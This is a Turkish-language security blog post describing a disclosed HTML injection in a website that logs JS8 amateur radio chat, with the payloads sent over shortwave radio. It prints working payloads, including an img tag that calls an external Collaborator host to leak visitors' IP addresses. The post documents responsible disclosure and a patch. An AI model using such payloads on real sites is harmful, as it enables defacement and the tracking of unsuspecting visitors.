paint-brush
Havadan Saldırılar — Phreaking HTML Enjeksiyonuile@jvictors
1,133 okumalar
1,133 okumalar

Havadan Saldırılar — Phreaking HTML Enjeksiyonu

ile Jesse Victors7m2023/08/19
Read on Terminal Reader
Read this story w/o Javascript

Çok uzun; Okumak

13 Temmuz'da ilginç bir güvenlik açığı keşfettik. Belirli bir web sayfası dijital radyo sohbetini izliyordu ve istasyonunun duyduklarının çalışan bir kaydını gösteriyordu. Bu tür şeylerle ilgileniyorsanız bu kullanışlı bir araçtır; Sonuçta, çağrılarınızın duyulup duyulmadığını veya katılmak isteyebileceğiniz devam eden görüşmeler olup olmadığını bilmek harika. Bu araç duyduğu her şeyi yakalayıp web sayfasına yerleştirdi. Bir mesaj gönderin ve birkaç saniye sonra orada görünecektir. Mesaj HTML içerseydi, bu da web sayfasında yer alırdı. Klasik HTML Enjeksiyonu.
featured image - Havadan Saldırılar — Phreaking HTML Enjeksiyonu
Jesse Victors HackerNoon profile picture
0-item

Eski usul telefon ıslığı geri döndü!


Neredeyse, ama aşağıdaki ses o kadar da uzakta değil.


13 Temmuz'da ilginç bir güvenlik açığı keşfettik. Belirli bir web sayfası dijital radyo sohbetini izliyordu ve istasyonunun duyduklarının çalışan bir kaydını gösteriyordu. Bu tür şeylerle ilgileniyorsanız bu kullanışlı bir araçtır; Sonuçta, çağrılarınızın duyulup duyulmadığını veya katılmak isteyebileceğiniz devam eden görüşmeler olup olmadığını bilmek harika. Bu araç duyduğu her şeyi yakalayıp web sayfasına yerleştirdi. Bir mesaj gönderin ve birkaç saniye sonra orada görünecektir. Mesaj HTML içerseydi, bu da web sayfasında yer alırdı. Klasik HTML Enjeksiyonu.


Peki bu nasıl çalışıyor?

Böyle bir saldırı gerçekleştirmek için aslında internete ihtiyacınız yok; sadece uzun bir kablo parçasına ihtiyacınız var. Şubat 2023'te yayınladığımız Attacks Over the Air serimizde 913 MHz'de çalışan kontrolcüye sahip basketbol skorbordunun sunduğu kablosuz sorunları ele almıştık. Bu yazıda frekans açısından çok aşağılara, kısa dalga radyo bandına doğru ilerleyeceğiz. Bu saldırı 7.078 ve 14.078 MHz'de çalışmaktadır.


Burada pek çok ilginç dijital sinyal var ve JS8 de onlardan biri. JS8 amatör radyo için popüler bir klavyeden klavyeye sohbet aracıdır. Uzun mesafelerde ve çok zayıf bağlantı koşullarında doğrudan konuşma sağlama konusunda kesinlikle mükemmeldir. JS8'in kendisi, birbirini zar zor duyabilen istasyonlar arasında basit bağlantılar kurmaya yönelik son derece popüler bir araç olan FT8'i temel almaktadır. Gece ve gündüz, FT8 ve JS8 sürekli olarak kullanımdadır.


(14.078 MHz'de son 24 saatlik JS8 trafiği)


Kısa dalga bandındaki sinyallerde birkaç tuhaf şey olur. Bu o kadar düşük bir frekans ki, bizden 160 kilometre yukarıda, Dünya'nın iyonosferinin E ve F katmanları radyo sinyalini tekrar yere yansıtmaya başlıyor. Sinyaller, bir taşı sudan atlamak gibi, Dünya ile zemin arasında birkaç kez sıçrar. Geceleri gezegenin diğer tarafındaki ticari AM istasyonlarını duymamızı sağlıyor. Gün boyunca bu sıçrama daha yüksek frekanslarda da çalışarak çok uzak mesafelerde iletişime olanak sağlar. Arka bahçemdeki vericiyle web sitesinin istasyonu arasında 674 mil mesafe var. Bir sıçrama bu mesafeyi kolaylıkla kateder.

Peki kısa dalga sinyaliyle bir web sitesine nasıl saldırırsınız?

JS8 mesajları, tümü büyük harf karakterlerden oluşan ASCII metninde oluşturulmuştur. Mesajların çoğu Skywarn, JS8Chess gibi geniş gruplara veya herkese referans olarak basitçe ALLCALL'a gönderilir. Bunu takiben mesaj hemen hemen her şey olabilir. İlk önce editörde HTML veri yükünü oluşturuyoruz. Kimlik tespiti için amatör telsiz çağrı işaretimizi yasal olarak sağlamalıyız (gerçek bir saldırganın göz ardı edeceği bir adım) ve sonunda son mesajımız şu şekilde görünür:


KJ7YLS: @TEST <DIV STYLE="WIDTH: 500PX;HEIGHT:100PX;COLOR:RED;">HTML ENJEKSİYONU!</DIV>

Artık aktarmaya hazırız. JS8 yazılımı bu metni ikiliye dönüştürür, ileri hata düzeltmesi ekler ve sonucu Gauss Frekans Kaydırma Anahtarlaması (GFSK) kullanarak modüle eder. Nihai ürün, duyulabilir şekilde tuhaf ıslık seslerine benziyor. Sesi Audacity kullanarak açarsak ve bir spektrogram açarsak şöyle görünür:



Daha yakından bakıldığında, GFSK modülasyonunun bir frekanstan diğerine yavaşça geçiş yaptığını görebilirsiniz. Ayrıca her frekansta belirli bir süre boyunca tutulur. Burada sekiz farklı frekans kullanılıyor ve dolayısıyla her sembolün sekiz farklı durumu var. Sonuç olarak her sembol aynı anda üç bit taşıyabilir. Bu, bazı etiketlerle gösterilmiştir:



Daha sonra ıslık sesini bir radyo vericisinin mikrofonuna gönderebiliriz. Çoğu amatör ve askeri sinyal gibi ses de AM yayın tipi sinyalin bir bölümü olan üst yan bant modülasyonu kullanılarak iletilir. JS8 mesajları çeşitli frekanslarda standartlaştırılmıştır ve hedefimiz 7,078 MHz ve 14,078 MHz'de dinler. Radyoyu her iki frekansa da ayarlıyoruz ve sesi 20 watt güç kullanarak yaklaşık 30 fit yükseklikte 16 AWG'lik bir kabloya gönderiyoruz. Sinyal havaya yayılır, iyonosferden yansır ve antenleri onu alır. JS8 yazılımları süreci tersine çevirip ASCII mesajını ortaya çıkarıyor. İşte bu noktada sorunu görüyoruz.

Web sitesi (yazarına saygı gösterilerek bu makalede bağlantı gizlenmiştir) JS8 trafiğini günlüğe kaydeder. Temel olarak, JS8 yazılımının API'si ile doğrudan konuşan kullanışlı bir Python aracı olan JS8Net tarafından desteklenmektedir. Depoda, monitör.py betiği JS8 mesajlarını alır ve bunları web sitesine yerleştirir. Yazma sırasında 859. satırda aşağıdaki kod satırlarını içermektedir:


 # Text j['text']=j['stuff']['params']['TEXT'] key=str(j['stuff']['time']) j['id']=':'.join([fmcall,tocall,key,str(j['freq'])]) traffic[key]=json.dumps(j)


j['stuff']['params']['TEXT'], JS8 yazılımının API'sinden alınan, Collector.py dosyasından alınan ASCII JS8 mesajıdır. Bu adımdan sonra trafik[anahtar] içindeki metin Javascript kullanılarak sayfaya yerleştirilir. Bu adımlar gayet iyi. Sorun, bağlam değişikliğinde ortaya çıkıyor çünkü halihazırda JS8 yazılımı tarafından tamamen işlenen JS8 trafiğinin kullanıma hazır olduğu ve web sayfasının bağlamını etkilemeyeceği varsayımı var. Bu daha sonra istismar edebileceğimiz davranıştır.


Saldırımız baştan sona şöyle görünüyor:


Birkaç dakika sonra mesajımız web sitesine kaydedildi...


Nihai sonuç çoğunlukla kozmetiktir. Bu genel bir sayfadır, dolayısıyla çalınacak oturum çerezleri veya yanıltılacak kontroller yoktur. Saklanan XSS de gerçek bir olasılık, ancak çok fazla zaman alan yüklerin (her JS8 mesajının gönderilmesi birkaç dakika sürer) gönderilmesiyle geçen sinir bozucu bir sabahın ardından sayfada çalışacak Javascript'i çalıştıramadık. JS8net yazılımının yanlışlıkla birçok önemli karakter ve kelimeyi engellediğinden ve geçici çözümlerimizin işe yaramadığından şüpheleniyorum.


Yine de Burp Suite burada kullanışlı oldu. İyonosfer o gün işbirlikçiydi ve sinyalleri oldukça iyi bir şekilde yansıtıyordu. Diğer araçlardan, diğer ülkelerdeki istasyonların ABD'den JS8 trafiğini duyduğunu biliyordum. Bir sonraki yüküm şuydu:

KJ7YLS: @ALLCALL <img src = "http://727k2w1hfoamqewpm7rpiocu0l6cu2ir.oastify.com" alt = "@HB DN13">

Bu URL, bant dışı bilgi sızıntılarını bulmak için sızma testleri sırasında sıklıkla kullandığımız Burp Suite'in Collaborator aracı tarafından çalıştırılan bir DNS ve HTTP dinleyicisine işaret eder. Bu farklı değildi. Birkaç dakika içinde, Collaborator Server tarafından Şili'deki sayfayı ziyaret eden kullanıcılardan gelen DNS ve HTTP trafiği kaydedildi. Enjeksiyonu incelemek için sayfayı da görüntüledim ve giriş yaptım.


Enjeksiyon konusunda etik açıdan gitmek istediğim nokta bu kadardı. Sorunu web sitesinin sahibi Jeff'e düzeltme önerileriyle birlikte bildirdim. Ertesi gün bana döndü ve şunları söyledi:


Ben de güvenlik alanında çalışıyorum (Körfez Bölgesi'ndeki bir ağ güvenliği şirketi için Ar-Ge yapıyorum), ancak bir web sitesini hacklemek için JS'yi radyo aracılığıyla göndermenin tamamen dikkatimin dışında olduğunu itiraf etmeliyim.

Yamanın yayınlanmasını beklerken JS8Net README'den birkaç satır düşündüm:


 It's important to note that this part of the software is still very much in the development stage, and may have critical vulnerabilities that make exposing the exposed services to the open Internet a Very Bad Idea. While it certainly will work, it's intended for protected, internal LAN use at this time.


Dürüst olmak gerekirse bu genel olarak mükemmel bir uyarıdır, özellikle de devam eden ve kapsamlı bir şekilde test edilmemiş projeler için. Bu noktada güvenlik açıkları "bilinmeyen bir bilinmeyendir" ancak yazar öncelikle yazılımındaki açıktaki dinleyicileri ve API'leri düşünüyordu. Ancak biz biraz farklı türde bir sorundan yararlandık. README, hizmetin bir LAN içerisinde çalıştırılması gerektiği konusunda uyarıyor ve bu aslında diğerlerini HTML enjeksiyonlarından ve web sayfasının kirlenmesinden koruyacaktır. Bununla birlikte, Collaborator veri yüklerini içeren bir veri, sayfayı kendi özel LAN'ında görüntüleyen herkesin genel IP adresini de sızdıracaktır; bu nedenle, bunun ele alınması biraz daha zordur.

Kısaca bu, internetteki bir web sayfasına saldıran bir radyo sinyalidir. Bir saldırganın internette kimliğini gizlemek için VPN'ler, Tor veya botnet'lerle oyalanmasına gerek yoktur. JS8, gürültü tabanının -24dB altındaki mesajları çıkarmada o kadar etkilidir (bu seviyede ıslık tam anlamıyla duyulamaz) ve uzak istasyonlara ulaşmak için çok az güce ihtiyaç vardır. İyi iyonosferik koşullarda bir watt'lık iletim gücü, ABD boyunca kıyıdan kıyıya gidebilir. Saldırgan dünyanın herhangi bir yerinde olabilir. İhtiyaç duyulan tek şey bir seri mesajdır, dolayısıyla yön bulmak da zor olacaktır. Bence bunun gibi bir şeyle takip edilemeyecek kadar yakın bir şey bu.


Zaman çizelgesi:

  • 13 Temmuz: Sorun keşfedildi, Jeff'e bildirildi ve CVE için MITRE'ye başvuruldu
  • 14 Temmuz: Jeff yanıt veriyor.
  • 22 Temmuz: Jeff, Github'daki JS8Net'e bir yama uyguladı.
  • 25 Temmuz: Yama web sitesinde yayına giriyor.
  • 18 Ağustos: blog yazısı yayınlandı.